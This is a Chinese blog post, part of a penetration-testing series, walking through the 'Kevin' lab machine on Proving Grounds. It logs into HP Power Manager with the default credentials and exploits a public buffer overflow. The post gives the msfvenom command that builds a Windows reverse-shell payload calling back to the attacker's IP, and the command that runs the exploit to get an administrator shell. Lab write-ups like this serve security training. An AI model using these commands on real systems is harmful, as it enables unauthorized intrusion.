iT邦幫忙

2025 iThome 鐵人賽

DAY 15
0
Security

滲透探險 30 天:靶機挑戰記系列 第 15

PG Practice: Kevin 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這個主機開了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250928/20178791yRflyZ9XvP.png

看來 Port 80 上面有一個登入的頁面叫做 HP power manager

http://kevin/index.asp 

https://ithelp.ithome.com.tw/upload/images/20250928/20178791oldnchhgfi.png
我們試著用了預設的帳號密碼 admin: admin 竟然可以登入
https://ithelp.ithome.com.tw/upload/images/20250928/201787914B5Uc1du0E.png

Initial Access & Priviege Escalation

我們在 GitHub 上找到了一個針對這個 HP power manager 寫出來的 exploit code
看起來這個弱點是跟 buffer overflow 有關的
https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3/blob/master/hp_pm_exploit_p3.py
https://ithelp.ithome.com.tw/upload/images/20250928/20178791yaQAQirhmY.png

因為這邊必須先置換成我們的 Kali IP 跟 Port 會使用的 binary code 到這個 exploit code 裡面
而這個 exploit code 裡面有提示我們要如何下指令

msfvenom -p windows/shell_reverse_tcp LHOST=$myIP LPORT=4411  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

https://ithelp.ithome.com.tw/upload/images/20250928/20178791ZcrdvffkFw.png

用 msfvenom 產生的 binary code 會大有 b 這個符號 但是 sample code 並沒有這個 b 所以我們必須要把這個 b 拿掉
這邊我會用 Note++ 去完成這件事情
在 Note++ 裡面如果按著 ALT 我們就可以去垂直選擇想要的區域
https://ithelp.ithome.com.tw/upload/images/20250928/20178791LzCP6AshE7.png

改好我們的 exploit code 以後就是執行的時間了
非常幸運的是 一旦拿到這個 reverse shell 我們就是 administrator 的身份
可以拿 flag 了!

python3 hp_pm_exploit_p3_mod.py $tIP 80 4411

https://ithelp.ithome.com.tw/upload/images/20250928/20178791c74JMEfLEi.png

type proof.txt

https://ithelp.ithome.com.tw/upload/images/20250928/20178791y1oGwuEdSu.png

收工收工~


上一篇
PG Practice: Medjed 攻略
下一篇
PG Practice: Jacko 攻略
系列文
滲透探險 30 天:靶機挑戰記16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言